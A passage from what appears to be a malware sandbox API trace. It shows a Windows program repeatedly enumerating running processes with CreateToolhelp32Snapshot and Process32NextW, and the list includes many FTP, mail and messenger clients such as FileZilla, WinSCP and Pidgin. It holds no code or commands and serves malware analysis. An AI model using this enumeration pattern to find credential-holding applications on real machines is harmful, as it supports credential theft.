pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0078.926] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0078.927] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.927] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.928] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.929] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0078.930] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0078.930] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.931] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0078.932] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.932] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.933] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.934] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.934] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.935] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0079.161] CloseHandle (hObject=0x1a4) returned 1 [0079.162] Sleep (dwMilliseconds=0x1f4) [0079.899] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0079.907] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.908] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.908] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.909] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.910] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.910] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.911] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.912] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.912] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.913] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.913] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.914] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.915] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.915] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.916] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.917] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.918] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.918] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.919] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.919] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.920] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.921] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.921] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.922] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0079.923] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0079.923] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0079.928] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0079.929] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0079.930] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0079.930] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0079.931] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0079.931] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0079.932] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0079.933] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0079.933] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0079.934] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0079.935] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0079.935] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0080.076] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0080.076] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0080.077] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.078] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.078] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.079] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.085] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.087] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.088] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.088] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.089] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.090] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.090] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.091] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.091] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.092] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.093] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.093] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.094] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.095] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.096] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.097] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0080.098] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0080.099] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0080.100] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0080.101] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0080.102] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0080.103] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0080.104] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0080.105] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 